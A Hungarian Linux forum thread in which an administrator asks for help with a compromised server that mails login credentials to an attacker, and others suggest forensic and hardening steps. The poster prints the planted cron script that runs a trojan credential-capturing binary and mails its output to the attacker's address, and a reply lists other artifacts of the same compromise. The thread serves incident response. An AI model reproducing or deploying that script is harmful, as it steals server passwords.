Hacker támadás

Linux-security

Sziasztok

Azzal a problémával fordulok hozzátok, hogy a szerverre való bejelentkezés után autómatikusan egy email indul utnak erre a címre: h4pp1n3s5@yahoo.com.
A levél tartalma a szerver IP címe a felhasználónév és persze a jelszó.
Valamint kreálodik egy file a "/ets/crond.daily/dnsquery" és a "/root/.mc/j".
Mindezt úgy, hogy van rajta tüzfal amiben az ssh portot csak bizonyos ip-k ről engedi az ssh nem a default porton van az ssh nem engedi a root felhasználót belépni.
Maillog-ot kivéve minden olyan tiszta mintha mise történt volna.
A létrehozott file-ok törlése nem szünteti meg az email küldést.
Eme frappáns email küldés okát nem találom.

Újratelepítettem az egész rendszert és láss csodát pár nap mulva újra jelentkezett.

Valaki találkozott már ezzel a gyönyörűséggel és mit lehet tenni ellene?

  • 24119 megtekintés

( arwin v | 2012. 06. 29., p – 13:58 )

milyen szolgáltatások futnak a szerveren?

( Zahy v | 2012. 06. 29., p – 14:04 )

Hát ha bejelentkezéshez kötött a dolog, akkor /etc/profile ~/.profile fájlok is játszhatnak akár. Én nem találkoztam vele, de legalább annyit árulj majd el a többienek, hogy milyen oprendszr milyen verzióján tapasztalod ezt, milyen net túl elterjedtzen használt szoftvereket hazsnálsz illetve tűnődj el, hogy milyen oldalakat szoktál meglátogatni.

"Sajnos amikor azt mondtam ne lopj, senki nem sütötte le a szemét. De amikor azt prédikáltam, hogy ne paráználkodj, no akkor eszembe jutott, hogy hol hagytam el a kerékpárom."

( ha1dfo | 2012. 06. 29., p – 14:17 )

Ha a cleartext jelszó is benne van, akkor talán a PAM háza táján lehetne szétnézni még.

--
"A herceg én vagyok."

( hawk | 2012. 06. 29., p – 14:21 )

SSH belépés vagy konzol előtti belépésnél csinálja?
Ha csak SSH akkor valószínűleg azt zúzták be. => md5sum ssh a barátod.

Ha konzol loginnál is akkor játszik a pam meg mindenféle shell profil és társai, futtató környezet (/bin/sh, /bin/bash, stb)

Egyébként meg tripwire a következő telepítés előtt, hogy legalább azt megtaláld mit zúznak meg.

( ha1dfo | 2012. 06. 29., p – 15:30 )

Ami még eszembe jutott:

* ssh user@localhost --> Ha itt nem jelez, akkor kliens oldali hiba gyanús.
* su - user --> Ha itt nem jelez, de az ssh user@localhost igen, akkor az sshd gyanúsabb. Ha ez is, akkor pam beállítások / binárisok is lehetnek gyanúsok.
* bash --> Ha ilyenkor jelez akkor vagy a .bashrc, vagy a profile van hack-elve (ezt amúgy nem tartanám túl valószínűnek, mert azokhoz nem jut hozzá a jelszó, a te esetedben meg az is küldődik)

Mindazon ideig javasolnám a kulcsos-auth használatát.

--
"A herceg én vagyok."

( freeoli v | 2012. 06. 29., p – 16:10 )

Röviden a tojás valamilyen app bugon keresztül bejutott és aktivalodott, elvégezte a szükséges módosításokat és elküldte a tyuknak, de arra nem gondolták, hogy a tuzfalszabalyokat is kiiktassak. update és a web appok chrootolasa, de legalább egy vhost php base dir ballitas. a lényeg, hogy a bugot le kell vadászni, használj vhost authot amihez csak lehet, stb stb. meg nagyon tag a kor hogy mi a baj.

( wrie | 2012. 06. 29., p – 22:39 )

Ezeknek a létrejött fájloknak mi a tartalma?
Az email egyébként kiment?
"Maillog-ot kivéve minden olyan tiszta mintha mise történt volna." -- Ez nyilván nem így van; csak látszat.
Jó lenne kideríteni, mi változott még (iptables, top, find, ls, stb).
Esetleg egy aide utólag is tud némi infóval szolgálni, ha menet közben ismét változnának fájlok.
chrootkit és társai nem mondanak semmit?
Újratelepítésnél nem lehet, hogy visszamásoltál valami hibás config fájlt?
A gép fix ip-n van, vagy valami szerver parkban? Ha otthon, akkor a phpmyadmin kívülről elérhető?
Log fájlok nem hiányosak?
Portok csak azok vannak nyitva, amit Te is szeretnél? Esetleg portscan biztosabb választ ad egy külső gépről.

Ezek jutottak eszembe hirtelen. Biztos egy részét már megválaszoltad magadban, de ezt mi nem tudjuk.

( locsemege v | 2012. 06. 30., szo – 02:18 )

SELinux-ot használod? A rendszer up to date?

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

( Rt711 v | 2012. 06. 30., szo – 09:15 )

Ez kicsit khm megoldás, de:

ps aux | grep *.pl
ps aux | grep *.sh

/etc/skel atnezese..

na, ez viszont el fog tartani neki:

grep -R "emailcimamirekuld" /

-
Debian Squeeze

( pepelopez | 2012. 06. 30., szo – 12:47 )

Miről telepítetted? Lehet abban van a jóság :)

( vector | 2012. 06. 30., szo – 12:53 )

noexec a tmp-n?
diff a fájlrendszerre?
grep a mailcímre
mi van a cronparancsban?
phpmyadmin htaccess restricted?
pax, rsbac, selinux ?
apache mysql ssh verziók vs exploitok?

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

( zeller | 2012. 06. 30., szo – 13:35 )

Az újratelepítés hogyan történt? Mi _nem_ lett legyalulva? Hálózat nélkül, CD-ről bootolva a telepített binárisok md5sum-jai közül eltér-e valamié attól, aminek lennie kell? Ha igen, akkor visszarakni csomagból és chattr +i neki (de egy readonly mountolt / is jó lehet, de tippelem, hogy a /var /tmp /home (ezekre nosuid,noexec mount, ez mondjuk az mc-nek defaultban nem tetszik (noexec), de együtt lehet vele élni) nem külön fs...) Ami a webszerver alatt futkorászik, az mennyire friss, honnan érhető el? Van e ftp-s feltöltés a gépre?
A távolabbi jövőre nézve: ssh csak kulcsos azonosítással, opie beizgatása, chkrootkit felpakolása és rendszeres futtatása.

egy readonly mountolt / is jó lehet

Fedora 17 erre alkalmas is, helyesebben readonly /usr, hiszen ezért csinálták azt, hogy a /bin megszűnt, belapátoltak mindent a /usr/bin-be, aztán lett egy /bin -> /usr/bin symlink a kompatibilitás miatt.

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

( zui84 | 2012. 06. 30., szo – 18:34 )

Helló,

chkrootkit, rkhunter, ezeket rakd fel, futtasd, ha szerencséd van megmondja mi a bajod.

A helyedben aggódnék. Nekem picit jobb a statisztikám:

[11:22:10] System checks summary
[11:22:10] =====================
[11:22:10]
[11:22:10] File properties checks...
[11:22:10] Files checked: 136
[11:22:10] Suspect files: 0
[11:22:10]
[11:22:10] Rootkit checks...
[11:22:10] Rootkits checked : 311
[11:22:10] Possible rootkits: 0
[11:22:10]
[11:22:10] Applications checks...
[11:22:10] All checks skipped
[11:22:10]
[11:22:10] The system checks took: 2 minutes and 55 seconds
[11:22:10]
[11:22:10] Info: End date is Sun Jul 1 11:22:10 CEST 2012

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Neharagudjatok közben dolgoznom is kell :(
A file külömbséget az ujratelepített rendszer között már csak holnap tudom megnézni.
Addig is.
a /etc/cron.daily/dnsquery file tartalma:
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
mkdir /usr/share/misc/
mkdir /usr/share/misc/blah/
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail h4pp1n3s5@yahoo.com -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A

a /root/.mc/j file bináris.

A tüzfal szabály amit használok:

#!/bin/bash

echo "Firewall Restart "
iptables -t nat -F
iptables -t mangle -F
iptables -t filter -F

iptables -t nat -X
iptables -t mangle -X
iptables -t filter -X

iptables -t filter -P INPUT ACCEPT
iptables -t filter -P FORWARD ACCEPT
iptables -t filter -P OUTPUT ACCEPT

# BIZTONSAGOS CIMEK JOHETNEK
/sbin/iptables -A INPUT -j ACCEPT -s 127.0.0.1 # Localhost
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Otthon
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Iroda
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Stb..

# COUNTER RESZ
echo "COUNTER RESZ"
/sbin/iptables -N kulsosforg # kulsosforg letrehoz
/sbin/iptables -A INPUT -j kulsosforg # Minden mas jump kulsosforgba

# MAIL
echo "levelezes be"
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 25 # SMTP
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 110 # POP3
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 143 # IMAP

# WWW
echo "web be"
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 80 # WEB mindenhonnan
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 81 # WEB mindenhonnan

# FTP
echo "ftp be"
#/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 21 # FTP Kikapcsolva

# ICMP
echo "ping be"
/sbin/iptables -A kulsosforg -j ACCEPT -p icmp # Ping

# Egyebek
echo "kulsosforg egyebek"
/sbin/iptables -A kulsosforg -m state --state ESTABLISHED,RELATED -j ACCEPT # Folyamatban levo
/sbin/iptables -A kulsosforg -j DROP # Minden mas drop

# OUTPUT RESZ
echo "OUTPUT RESZ"
/sbin/iptables -A OUTPUT -j ACCEPT # Kifele minden

Hát elég kezdetleges és egyszerű dolognak néz ki.
/usr/lib/popauth -ot kéne csekkolnod, hogy kinek milyen joga van rá.
Illetve megnézném, hogy a létrehozott httpd.log és test file-okon milyen jog van. Valószínűleg root, hisz a cronban van ez a script, de biztos ami biztos...
Másik, hogy bash historyban keress rá ezekre a kulcsszavakra. Bár kevés esélyt látok erre, hogy bent legyen. De hát elég balek megoldás ez amit látok a dnsquery-ben.

Megnéztem a couriert fanti userrel telepítettem sudoers ben engedélyeztem ideiglenesen.
Érdekes a bin user.......
/usr/lib/-en belül ez a kettő ami nem root:
drwxr-xr-x 8 bin bin 4096 May 31 19:55 courier-imap
-rwxr-xr-x 1 fanti users 388262 Apr 15 19:23 popauth

Megnéztem a historyt a két usernél (root,fanti) csak az én konfigurációm van benne.
A httpd logoknál mind -rw-r--r-- 1 root root

ezekre gondoltok:
http://www.talug.org/events/20030709/cmdline_history.html
http://www.techrepublic.com/article/linux-command-line-tips-history-and…

?
--
A legértékesebb idő a pillanat amelyben élsz.
http://phoenix-art.hanzo.hu/
https://sites.google.com/site/jupiter2005ster/

A tűzfaladon is van lyuk...

/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Otthon
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Iroda
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Stb..

Ez azt jelenti, hogy a otthoni, irodai és "biztonságos" hálózatból MINDENT beengedsz.
Elég ha a te desktop géped van megfertőzve valamivel, akkor annak szabad bejárása van erre a gépre is.

Korlátozd le a hozzáférést pl csak ssh, http, ftp portokra.

Azt mondják ez csinálta:
http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-s…

És ilyeneket módosít:
What I found so far:

SSH was definitely compromised; they replaced the binaries! (The old binaries wound up in /etc/rpm directory.) And sshd_config was replaced with a 0-byte file.

There was a /tmp/mexpl.tgz file that contained exploit code.

/etc/passwd and /etc/group were modified with a new account called "ice".

/etc/cron.daily had a new addition - a file called "dnsquery" that emailed the hacker.
( this was basically similar to the original poster's code - /usr/lib/.popauth was run. )

/root/.ssh/known_hosts was modified with a new entry.

there was a file called /tmp/back which apparently ran perl and executed a shell for the attacker.

/usr/include/gpm2.h was a 0-byte, rwxrwxrwx file.

/usr/lib had the +c0d.init file, as well as a subdirectory with exploit - /usr/lib/named.
klogd1, named.sn, and zum were in there.

Szia,

van 2 géped, ugyanazon hibával, de az egyiken még rk is van fenn, azaz jó eséllyel van egy nyílt hibás cuccod, amin keresztül több dolog is fertőz, ráadásul az egyik még elég új hogy a tool-ok sem találják meg.
Virtuál gépben (vagy vason ha el vagy eresztve) telepíts egy ugyanolyat, mivel írtad hogy ez megtetted már ezeken, így nem lesz gond, de ez utóbbit ne kösd ki a netre. Mindhárom gépen csinálj checksum-ot a fájlokról, olyat keresel ami a két hibáson egyezik, de eltér a harmadiktól (pl aide, vagy egy find md5sum-mal). Ha ez nem vezet eredményre, akkor pedig olyan fájl kell ami a két hibáson fent van, a harmadikon pedig nincs. Ezt offline csináld, pl bootcd-vel, mert a jobb eszközök amíg futnak, elrejtik magukat.

Üdv,
BaZso

UI: most már baromira érdekel a végeredmény :-)

Megnéztem amit furcsáltam a pam.d de úgy néz ki rendben van.
A sudoers-t a mail szerver telepítéséig én módosítottam.

rpm -Va
prelink: /usr/sbin/NetworkManager: at least one of file's dependencies has changed since prelinking
S.?...... /usr/sbin/NetworkManager
missing /var/run/NetworkManager
S.5....T. c /etc/postfix/main.cf
S.5....T. c /etc/postfix/master.cf
S.5....T. c /etc/sasl2/smtpd.conf
S.5....T. c /etc/ssh/ssh_config
S.5....T. c /etc/networks
S.5....T. /usr/sbin/hwclock
S.5....T. c /etc/ppp/chap-secrets
S.5....T. c /etc/ppp/pap-secrets
......G.. /var/empty
S.5....T. /bin/ps
prelink: /usr/bin/udisksctl: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/udisksctl
prelink: /usr/lib/udisks2/udisksd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib/udisks2/udisksd
prelink: /usr/bin/curl: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/curl
S.5....T. c /etc/httpd/conf/httpd.conf
S.5....T. c /etc/aliases
prelink: /usr/bin/pkaction: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/pkaction
prelink: /usr/bin/pkcheck: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/pkcheck
prelink: /usr/bin/pkexec: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/pkexec
prelink: /usr/lib64/libpolkit-agent-1.so.0.0.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libpolkit-agent-1.so.0.0.0
prelink: /usr/lib64/libpolkit-backend-1.so.0.0.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libpolkit-backend-1.so.0.0.0
prelink: /usr/lib64/libpolkit-gobject-1.so.0.0.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libpolkit-gobject-1.so.0.0.0
prelink: /usr/libexec/polkit-1/polkit-agent-helper-1: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/polkit-1/polkit-agent-helper-1
prelink: /usr/libexec/polkit-1/polkitd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/polkit-1/polkitd
prelink: /usr/libexec/fprintd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/fprintd
missing /var/run/spamassassin
....L.... c /etc/pam.d/fingerprint-auth
....L.... c /etc/pam.d/password-auth
....L.... c /etc/pam.d/postlogin
....L.... c /etc/pam.d/smartcard-auth
....L.... c /etc/pam.d/system-auth
.....U... /etc/maven
S.5....T. c /etc/default/grub
.....U... /etc/pango
prelink: /usr/libexec/gconf-defaults-mechanism: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/gconf-defaults-mechanism
missing /var/run/wpa_supplicant
.M....... n /etc/openldap/slapd.d
S.5....T. c /usr/lib/courier-imap/etc/imapd.cnf
S.5....T. c /usr/lib/courier-imap/etc/pop3d.cnf
S.5....T. c /etc/amavisd/amavisd.conf
.M....... /var/spool/authdaemon
S.5...... c /etc/freshclam.conf
.......T. /lib/modules/3.3.4-5.fc17.x86_64/modules.devname
.......T. /lib/modules/3.3.4-5.fc17.x86_64/modules.softdep
prelink: /usr/libexec/packagekitd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/packagekitd
prelink: /usr/libexec/gvfs-udisks2-volume-monitor: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/gvfs-udisks2-volume-monitor
prelink: /usr/libexec/cups-pk-helper-mechanism: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/cups-pk-helper-mechanism
prelink: /usr/lib64/libcurl.so.4.2.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libcurl.so.4.2.0
S.5....T. c /etc/postfix/postgrey_whitelist_clients
S.5....T. /etc/sysconfig/postgrey
S.5....T. /usr/sbin/postgrey
.......T. c /etc/sudoers
S.5....T. c /etc/ssh/sshd_config
prelink: /usr/libexec/colord: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/colord

Igen ott hibázhattam mivel a /etc/postfix/main.cf master.cf virtual* konfig fileokat másoltam.
Azt nem értem, hogy a másik gépnél nem telepítettem semmit csak beszoktam lépni megnézni a log fileokat.
Az összes gépen amiről beléptem a szerverekre van viruskereső valamint most még vigig futtatam egy másik programmal is.

Tök fölösleges.
Ha már megtörték a rendszert, akkor annak annyi. Sosem tudod, hogy patkolták meg a kernelt.
Akár egy ll, vagy ls parancsra sem azt kapod vissza ami valójában van.

Offline, csak olvasásra mountolnám a rendszert hogy megpróbáljam kideríteni mi is van. Logokat törölheti maga után stb. (Itt jön szóba a syslog-ng)

Említett megoldásod a rk huntereket előre kell feltenni de persze ez is minimális védelmet ad.

( Fari | 2012. 06. 30., szo – 19:49 )

Amennyiben ilyen egyszerű reprodukálni a levélküldést, akkor lépj be a gépre akassz rá egy strace-t az sshd-ra, lépj be egy másik terminálon és nézd meg, hogy milyen parancsok hajtódnak végre.

strace -qf -s 256 -p `pidof sshd` -e execve 2>&1 | grep " execve("

Ha arra vagy kíváncsi, hogy hogyan jöttek be, akkor meg csinálj egy honeypot-ot. Valószínűleg elég, ha újratelepíted a gépet és elindítasz egy tcpdump-ot (primitív, de automaták ellen elég lehet, max tegyél meg annyit, hogy a tcpdump binárist lemásolod egy random névre és úgy futtatod).

A honeypot készítése előtt azért nézz szét, hátha egy ismert hibával állunk szembe. :)

( Nyosigomboc v | 2012. 06. 30., szo – 20:04 )

Ha a levelben benne van a jelszo, nem lehet, hogy a logint cserelte le?

--
ezt tényleg ennyire nem értitek? - turdus :)

( locsemege v | 2012. 07. 01., v – 02:53 )

Aggódom. Két fura jelenségre lettem figyelmes. Az egyik, hogy a desktop gépemen felpörög a ventillátor, s conky által látom, hogy a mysqld 4 CPU mag jelentős futásidejét elviszi. Logban semmi gyanús. Nem megfagyott, mert nem minden futásidőt vitt el, csak nagyon sokat, s nem statikusan. Hol többet, hol kevesebbet, de tartósan. Aztán mondtam neki ezt:

systemctl stop mysqld.service

Aztán ez nem volt elég, jelenleg a firefox-om visz el 115 % futásidőt. Tegyük hozzá, 1 mag futásidejének százalékában 400 % az elvi maximum, így ez nem lehetetlen. Amúgy működik a böngésző.

Arra is gondoltam, valamit elszúr a kernel a szökőmásodperc miatt.

A /proc/interrupts-ban 3.5 órás uptime alatt nem sok ez?

RES: 53036421 52112546 52241577 52177267 Rescheduling interrupts

A ksoftirqd magonként elvisz úgy 11 % futásidőt, ha fut a firefox. Különben keveset.

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

MySQL alatt a SHOW PROCESSLIST paranccsal tudod megnézni az éppen futó folyamatokat.

Ha pont nem sikerülne elkapnod, akkor ideiglenesen kapcsold be minden lekérdezés naplózását az /etc/my.cnf-ben: 


[mysqld]
general_log     = 1
general_log_file= /var/log/mysql/query.log

--
The Elder Scrolls V: Skyrim

( Cybernet | 2012. 07. 02., h – 14:06 )

Offtopic:

Nekem is volt ilyen pánik, hogy felnyomták a rendszert.
Fél napos kutató munka után kiderítettem, hogy én magam jártam a gépen jó néhány sör után.

Megoldás: Olyan jelszót kell választani, amire részegen tuti nem emlékszel.
XD

( anon7002197 | 2012. 07. 02., h – 19:51 )

Lehet hülyeséget kérdek, de ha rátolsz egy vírusírtót (vagy többet), nem dobnak vissza semmit se?

( palotti | 2012. 07. 03., k – 08:24 )

Végigolvasva a topic-ot:

1. ha biztosra akarsz menni újratelepítés, telepítés után SELinux bekapcsolása, vagy ha ez nem alternatíva md5sum a binárisokra/configokra, esetleg másik gépre svn, és oda szépen commitolni, napi cronjobból svn st kimenetében a ^M-es fájlokra svn diff és mailbe mehet.
2. Telepítés után tűzfalat csak a full configurálás és md5sum/svn/SELinux után nyiss, csak és kizárólag arra és onnan ami feltétlen kell.
3. használj kullcsos authentikációt, esetleg kulcs+pw
4. naprakészség, security tesztek cronból: tiger, chrootkit, debsecan
5. néha nessus vagy valamilyen forkja általi teszt
6. phpmyadmin mindenképp kell? ssh + consolból mysql, esetleg port-forward és egy másik gépről futtatni a bugos/veszélyes kódokat.

--
Kis problémából egy kis munkával nagy problémát lehet gyártani. Ha valami müxik ne b***tasd :)
Uriember az, aki nem beszél a Windows-ról, pedig tudna...

( lilo v | 2012. 07. 03., k – 14:54 )

Szia

A cronjob és a root/mc-s file rendszeresen létrejönnek? vagy törlés után végleg eltűnnek?

Ha rendszeresen megkeletkeznek akkor talán az auditd-vel meg tudod nézni honnan jönnek ...

yum install auditd # gondolom így kell, én debianon nevelkedtem :)
auditctl -w /ets/crond.daily/dnsquery -w /root/.mc/j -p rwxa # inkább többet mint kevesebbet ...

Aztán nézegesd az auditd logjait (gondolom /var/log/audit* környékén érdemes nézelődni ...)

Egyébként ha ez nem hoz eredményt, akkor durvább auditd beállításokkal mindent naplózhatsz amit a rendszer csinál, csak győzd kiválogatni ...

Zseniális cucc szerintem az auditd, de a logja ... hát kevés csúnyábbat láttam eddig :)

ui: most látom, hogy már "megoldódott" a probléma, másnak azért még tanulságos lehet ...

láttam már ilyet:
a ps, netstat,bash -t is lecseréli
erdemes megnezni a filok keletkezesi idejet, mert joparnal, amit lecserelt nem allitotta vissza az eredeti datumra.
barmilyen belepesnel amit jelszoval teszel meg, kuld rola levelet, de ha kulccsal lepsz fel nincs jelszo, nincs level.
viszont direkt a postfix konyvtarba pakolja a levelet, nem pedig programon keresztul, igy ha kilovod a levelszervert ujrainditas utan elkuldi a levelet.

az ideiglenes megoldas az volt, hogy:
ujratelepitettem iputils*, coreutils, bsdutils,debianutils, sysvinit-utils, ssh, openssh-*, apache*, postfix* csomagokat (vagy akar mindet)
find -al keress ra anomaliakra (pl "parancsnev ", legfrissebb fajlok, meg hasonlok)
futtass le virusellenorzest
ne engedj php-n keresztul system,exec meg hasonlokat
es a trojaiakat torold a webkvt-bol (mert lesznek...)
a /root alatt talalhatsz egy .w3m konyvtarat, benne erdekessegekkel. ez akar tobb giga is lehet, millio piciny fajlal.
ps xau (ha mar ujrahuztad a csomagot) nezz bele minden furcsasagba.
rkhunter, chkrootkit futtasd, clamscan futtasd...
igy hirtelen.
aztan ssh ne a 22-esen fusson es ne jelszoval menjel be.

de a legjobb az ujrahuzas. es csak azokat a dolgokat vidd at ami muszaly. es azt is ellenorizd.

( turul16 v | 2012. 07. 04., sze – 15:37 )

Ne legyen sudoer az a user aminek nem kene, kulon userrel probalj adminolni meg belepni a tobbi szolgaltatasra.
Hasznalj rsa key alapu belepest ssh -n, ne legyen jelszavas (foleg a sudoer usernek).
Kapcsolj be minden komponensen, login probalkozas logolast.
Melyek azok a componesek amik lathatad a jelszavadat ?
Probald logolni a kapcsolodasokat, legalabb src ip, dest port legyen, idovel. (a tamadas idejet, tudhatnad a fileok megjelenesebol, lehet osszefugest keresni )

system tap van erre a rendszerre, el lehet kapni ezekhez filokhoz valo hozza ferest.
- meg lehet tagadni
- meg lehet nezni a process tree -t, ha szerencsed van, akkor lathatod melyik programbol indul a tamadas.

Mi az eselye annak, hogy te telepited a gonosz kodot valahonan ?

Nemi nehezitest jelent, ha nem tudjak az admin user nevedet, lehet meg kene valtoztatni.

Miutan bejottek semmit sem hihetsz el amit a rendszer ir.
kernel modul betoltesenek nehezitese, jelent nemi nehezitest, a rejtegetesnel....
...

Infokat idonkent kuldhetsz kulso e-mail cimedre is, a geprol eltuntethetik...

edit:
Tegy fel snort -ot.

edit:
id fanti
ls -ld /usr/lib/
fanti nevu usernek ugye nincs joga ide irni ?

Amit nem lehet megirni assemblyben, azt nem lehet megirni.

Csak a mailszerver telepítésnél használtam ideiglenesen a sudoerst.
Ezek után mindenhol csak rsa kulcsot fogok használni.
Gyakorlatilag miután lecserélte a saját sshd szerverére igy az minden bizonnyal.
Az újratelepített rendszerre egyenlöre még nem raktam fel semmit csak azokat a programokat amiket ajánlottatok hátha elcsipem egyenlöre nem jött vissza
még várok pár napot utánna felrakom rá a mail szervert és kiderül hogy azzal jött e.
Nincs joga irni bele:
dr-xr-xr-x. 38 root root 4096 Jul 4 14:13 /usr/lib/